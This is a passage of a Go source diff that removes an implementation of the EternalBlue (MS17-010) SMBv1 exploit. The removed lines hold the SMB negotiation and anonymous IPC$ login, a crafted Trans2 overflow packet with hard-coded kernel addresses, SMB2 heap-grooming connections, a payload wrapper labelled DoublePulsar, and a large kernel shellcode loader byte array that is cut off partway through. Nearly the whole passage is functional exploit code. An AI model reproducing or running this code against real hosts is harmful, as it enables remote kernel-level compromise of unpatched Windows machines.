err != nil { - return fmt.Errorf("failed to get response about exploit: %s", err) - } - ntStatus := make([]byte, 4) - ntStatus[0] = raw[8] - ntStatus[1] = raw[7] - ntStatus[2] = raw[6] - ntStatus[3] = raw[5] - - //fmt.Printf("NT Status: 0x%08X\n", ntStatus) - - //fmt.Println("send the payload with the grooms") - - body := makeSMB2Body(payload) - - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[:2920]) - if err != nil { - return err - } - } - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[2920:4073]) - if err != nil { - return err - } - } - return nil -} - -func makeKernelUserPayload(sc []byte) []byte { - // test DoublePulsar - buf := bytes.Buffer{} - buf.Write(loader[:]) - // write sc size - size := make([]byte, 2) - binary.LittleEndian.PutUint16(size, uint16(len(sc))) - buf.Write(size) - buf.Write(sc) - return buf.Bytes() -} - -func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { - conn, err := net.DialTimeout("tcp", address, 10*time.Second) - if err != nil { - return nil, nil, fmt.Errorf("failed to connect host: %s", err) - } - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to negotiate: %s", err) - } - raw, header, err := smb1AnonymousLogin(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) - } - _, err = getOSName(raw) - if err != nil { - return nil, nil, fmt.Errorf("failed to get OS name: %s", err) - } - //fmt.Println("OS:", osName) - header, err = treeConnectAndX(conn, address, header.UserID) - if err != nil { - return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) - } - ok = true - return header, conn, nil -} - -const smbHeaderSize = 32 - -type smbHeader struct { - ServerComponent [4]byte - SMBCommand uint8 - ErrorClass uint8 - Reserved byte - ErrorCode uint16 - Flags uint8 - Flags2 uint16 - ProcessIDHigh uint16 - Signature [8]byte - Reserved2 [2]byte - TreeID uint16 - ProcessID uint16 - UserID uint16 - MultiplexID uint16 -} - -func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { - // net BIOS - buf := make([]byte, 4) - _, err := io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about NetBIOS session service: %s" - return nil, nil, fmt.Errorf(format, err) - } - typ := buf[0] - if typ != 0x00 { - const format = "invalid message type 0x%02X in SMB1 response" - return nil, nil, fmt.Errorf(format, typ) - } - sizeBuf := make([]byte, 4) - copy(sizeBuf[1:], buf[1:]) - size := int(binary.BigEndian.Uint32(sizeBuf)) - // SMB - buf = make([]byte, size) - _, err = io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about header: %s" - return nil, nil, fmt.Errorf(format, err) - } - smbHeader := smbHeader{} - reader := bytes.NewReader(buf[:smbHeaderSize]) - err = binary.Read(reader, binary.LittleEndian, &smbHeader) - if err != nil { - const format = "failed to parse SMB1 response header: %s" - return nil, nil, fmt.Errorf(format, err) - } - return buf, &smbHeader, nil -} - -func smbClientNegotiate(conn net.Conn) error { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x54}) - - // --------Server Message Block Protocol-------- - - // server_component: .SMB - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb_command: Negotiate Protocol - buf.WriteByte(0x72) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x28}) - // process_id_high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Negotiate Protocol Request-------- - - // word_count - buf.WriteByte(0x00) - // byte_count - buf.Write([]byte{0x31, 0x00}) - - // dialect name: LAN MAN1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, - 0x30, 0x00}) - - // dialect name: LM1.2X002 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, - 0x32, 0x00}) - - // dialect name: NT LAN MAN 1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, - 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) - - // dialect name: NT LM 0.12 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, - 0x31, 0x32, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return err - } - _, _, err = smb1GetResponse(conn) - return err -} - -func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // session message - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x88}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT SUCCESS - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // Signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // Signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // TreeID - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0D) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x88, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC Number - buf.Write([]byte{0x00, 0x00}) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // ANSI password length - buf.Write([]byte{0x01, 0x00}) - // unicode password length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) - // bytes count - buf.Write([]byte{0x4b, 0x00}) - // ANSI password - buf.WriteByte(0x00) - // account name - buf.Write([]byte{0x00, 0x00}) - // domain name - buf.Write([]byte{0x00, 0x00}) - - // native OS: Windows 2000 2195 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) - buf.Write([]byte{0x00, 0x00}) - - // native LAN manager: Windows 2000 5.0 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, nil, err - } - return smb1GetResponse(conn) -} - -// skip smb header, word count, AndXCommand, Reserved, -// AndXOffset, Action, Byte count and a magic 0x41 (A) -func getOSName(raw []byte) (string, error) { - osBuf := bytes.Buffer{} - reader := bytes.NewReader(raw[smbHeaderSize+10:]) - char := make([]byte, 2) - for { - _, err := io.ReadFull(reader, char) - if err != nil { - return "", err - } - if bytes.Equal(char, []byte{0x00, 0x00}) { - break - } - osBuf.Write(char) - } - osBufLen := osBuf.Len() - osName := make([]byte, 0, osBufLen/2) - b := osBuf.Bytes() - for i := 0; i < osBufLen; i += 2 { - osName = append(osName, b[i]) - } - return string(osName), nil -} - -func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length, it will changed at the end of the function - buf.Write([]byte{0x00, 0x00, 0x00}) - - // --------Server Message Block Protocol-------- - - // server component - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb command: Tree Connect AndX - buf.WriteByte(0x75) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x20}) - // process id high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Tree Connect AndX Request-------- - - // word count - buf.WriteByte(0x04) - // AndXCommand: No further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndXOffset - buf.Write([]byte{0x00, 0x00}) - // flags - buf.Write([]byte{0x00, 0x00}) - // password length - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x1A, 0x00}) - // password - buf.WriteByte(0x00) - // IPC - host, _, err := net.SplitHostPort(address) - if err != nil { - return nil, err - } - _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) - // null byte after ipc added by kev - buf.WriteByte(0x00) - // service - buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) - - // update packet size - b := buf.Bytes() - sizeBuf := make([]byte, 4) - binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) - copy(b[1:], sizeBuf[1:]) - - // send packet - _, err = buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err -} - -func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { - transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) - if err != nil { - return fmt.Errorf("failed to send nt trans: %s", err) - } - // initial trans2 request - treeID := transHeader.TreeID - userID := transHeader.UserID - trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") - // send all but the last packet - for i := 1; i < 15; i++ { - packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") - trans2Packet = append(trans2Packet, packet...) - } - smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) - trans2Packet = append(trans2Packet, smb1EchoPacket...) - - _, err = conn.Write(trans2Packet) - if err != nil { - return fmt.Errorf("failed to send large buffer: %s", err) - } - _, _, err = smb1GetResponse(conn) - return err -} - -func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x04, 0x38}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // NT Trans - buf.WriteByte(0xA0) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------NT Trans Request-------- - - // word count - buf.WriteByte(0x14) - // max setup count - buf.WriteByte(0x01) - // reserved - buf.Write([]byte{0x00, 0x00}) - // total param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // total data count - buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) - // max param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // param offset - buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) - // data count - buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) - // data offset - buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) - // setup count - buf.WriteByte(0x01) - // function - buf.Write([]byte{0x00, 0x00}) - // unknown NT transaction (0) setup - buf.Write([]byte{0x00, 0x00}) - // byte count - buf.Write([]byte{0xEC, 0x03}) - // NT parameters - buf.Write(makeZero(0x1F)) - // undocumented - buf.WriteByte(0x01) - buf.Write(makeZero(0x03CD)) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err -} - -func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { - timeout = timeout*0x10 + 3 - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x10, 0x35}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Trans2 request - buf.WriteByte(0x33) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Trans2 Second Request-------- - - // word count - buf.WriteByte(0x09) - // total param count - buf.Write([]byte{0x00, 0x00}) - // total data count - buf.Write([]byte{0x00, 0x10}) - // max param count - buf.Write([]byte{0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00}) - // max setup count - buf.WriteByte(0x00) - // reserved - buf.WriteByte(0x00) - // flags - buf.Write([]byte{0x00, 0x10}) - // timeouts - buf.Write([]byte{0x35, 0x00, 0xD0}) - // timeout is a single int - buf.WriteByte(byte(timeout)) - // reserved - buf.Write([]byte{0x00, 0x00}) - // parameter count - buf.Write([]byte{0x00, 0x10}) - - switch typ { - case "exploit": - // overflow - buf.Write(bytes.Repeat([]byte{0x41}, 2957)) - buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) - - buf.Write(makeZero(0x10)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x06)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x16)) - - // x86 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) - - // x64 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x04)) - - buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) - - buf.Write(makeZero(0x04)) - buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x10)) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x0C)) - buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x80, 0x10}) - buf.Write(makeZero(0x0E)) - buf.WriteByte(0x39) - buf.WriteByte(0xBB) - - buf.Write(bytes.Repeat([]byte{0x41}, 965)) - case "zero": - buf.Write(makeZero(2055)) - buf.Write([]byte{0x83, 0xF3}) - - buf.Write(bytes.Repeat([]byte{0x41}, 2039)) - default: - buf.Write(bytes.Repeat([]byte{0x41}, 4096)) - } - return buf.Bytes() -} - -func makeSMB1EchoPacket(treeID, userID uint16) []byte { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x31}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Echo - buf.WriteByte(0x2B) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Echo Request-------- - - // word count - buf.WriteByte(0x01) - // echo count - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x0C, 0x00}) - // echo data - // this is an existing IDS signature, and can be null out - buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) - - return buf.Bytes() -} - -func smb1FreeHole(address string, start bool) (net.Conn, error) { - conn, err := net.Dial("tcp", address) - if err != nil { - return nil, fmt.Errorf("failed to connect host: %s", err) - } - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, fmt.Errorf("failed to negotiate: %s", err) - } - var ( - flags2 []byte - vcNum []byte - nativeOS []byte - ) - if start { - flags2 = []byte{0x07, 0xC0} - vcNum = []byte{0x2D, 0x01} - nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} - } else { - flags2 = []byte{0x07, 0x40} - vcNum = []byte{0x2C, 0x01} - nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} - } - packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) - _, err = conn.Write(packet) - if err != nil { - const format = "failed to send smb1 free hole session packet: %s" - return nil, fmt.Errorf(format, err) - } - _, _, err = smb1GetResponse(conn) - if err != nil { - return nil, err - } - ok = true - return conn, nil -} - -func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x51}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write(flags2) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0C) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x00, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC number - buf.Write(vcNum) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // security blob length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) - // byte count - buf.Write([]byte{0x16, 0x00}) - // Native OS - buf.Write(nativeOS) - // extra byte params - buf.Write(makeZero(17)) - return buf.Bytes() -} - -func smb2Grooms(address string, grooms int) ([]net.Conn, error) { - header := makeSMB2Header() - var ( - conns []net.Conn - ok bool - ) - defer func() { - if ok { - return - } - for i := 0; i < len(conns); i++ { - _ = conns[i].Close() - } - }() - for i := 0; i < grooms; i++ { - conn, err := net.Dial("tcp", address) - if err != nil { - return nil, fmt.Errorf("failed to connect target: %s", err) - } - _, err = conn.Write(header) - if err != nil { - return nil, fmt.Errorf("failed to send SMB2 header: %s", err) - } - conns = append(conns, conn) - } - ok = true - return conns, nil -} - -func makeSMB2Header() []byte { - buf := bytes.Buffer{} - buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) - buf.WriteString("SMB") - buf.Write(makeZero(124)) - return buf.Bytes() -} - -const ( - packetMaxLen = 4204 - packetSetupLen = 497 -) - -func makeSMB2Body(payload []byte) []byte { - const packetMaxPayload = packetMaxLen - packetSetupLen - // padding - buf := bytes.Buffer{} - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x1C)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x74)) - - // KI_USER_SHARED_DATA addresses - x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - buf.Write(bytes.Repeat(x64Address, 2)) - buf.Write(makeZero(0x10)) - x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} - buf.Write(bytes.Repeat(x86Address, 2)) - buf.Write(makeZero(0xC4)) - - // payload address - buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x40)) - - buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.WriteByte(0x00) - - // set payload - buf.Write(payload) - - // fill out the rest, this can be randomly generated - buf.Write(makeZero(packetMaxPayload - len(payload))) - - return buf.Bytes() -} - -func makeZero(size int) []byte { - return bytes.Repeat([]byte{0}, size) -} - -// loader is used to run user mode sc in the kernel mode. -// reference Metasploit-Framework: -// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm -// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc -var loader = [...]byte{ - 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, - 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, - 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, - 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, - 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, - 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, - 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, - 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, - 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, - 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, - 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, - 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, - 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, - 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0x58, 0x65, - 0x48, 0x8B, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x0F, 0x01, 0xF8, 0xFF, 0x24, 0x25, 0xF8, 0x0F, - 0xD0, 0xFF, 0x56, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x55, 0x48, 0x89, 0xE5, - 0x66, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8D, 0x35, 0xE3, 0xFF, 0xFF, 0xFF, 0x65, - 0x4C, 0x8B, 0x3C, 0x25, 0x38, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x7F, 0x04, 0x49, 0xC1, 0xEF, 0x0C, - 0x49, 0xC1, 0xE7, 0x0C, 0x49, 0x81, 0xEF, 0x00, 0x10, 0x00, 0x00, 0x49, 0x8B, 0x37, 0x66, 0x81, - 0xFE, 0x4D, 0x5A, 0x75, 0xEF, 0x41, 0xBB, 0x5C, 0x72, 0x11, 0x62, 0xE8, 0x18, 0x02, 0x00, 0x00, - 0x48, 0x89, 0xC6, 0x48, 0x81, 0xC6, 0x08, 0x03, 0x00, 0x00, 0x41, 0xBB, 0x7A, 0xBA, 0xA3, 0x30, - 0xE8, 0x03, 0x02, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x11, 0x48, 0x8D, 0x90, - 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x05, 0x48, 0x29, 0xC6, 0xEB, 0x08, 0x48, 0x8B, - 0x36, 0x48, 0x39, 0xCE, 0x75, 0xE2, 0x49, 0x89, 0xF4, 0x31, 0xDB, 0x89, 0xD9, 0x83, 0xC1, 0x04, - 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00, 0x0F, 0x8D, 0x66, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xF2, 0x89, - 0xCB, 0x41, 0xBB, 0x66, 0x55, 0xA2, 0x4B, 0xE8, 0xBC, 0x01, 0x00, 0x00, 0x85, 0xC0, 0x75, 0xDB, - 0x49, 0x8B, 0x0E, 0x41, 0xBB, 0xA3, 0x6F, 0x72, 0x2D, 0xE8, 0xAA, 0x01, 0x00, 0x00, 0x48, 0x89, - 0xC6, 0xE8, 0x50, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF9, 0xBF, 0x77, 0x1F, 0xDD, 0x75, 0xBC, 0x49, - 0x8B, 0x1E, 0x4D, 0x8D, 0x6E, 0x10, 0x4C, 0x89, 0xEA, 0x48, 0x89, 0xD9, 0x41, 0xBB, 0xE5, 0x24, - 0x11, 0xDC, 0xE8, 0x81, 0x01, 0x00, 0x00, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x8D, - 0x4E, 0x08, 0x49, 0xC7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x4C, 0x89, 0xF2, 0x31, - 0xC9, 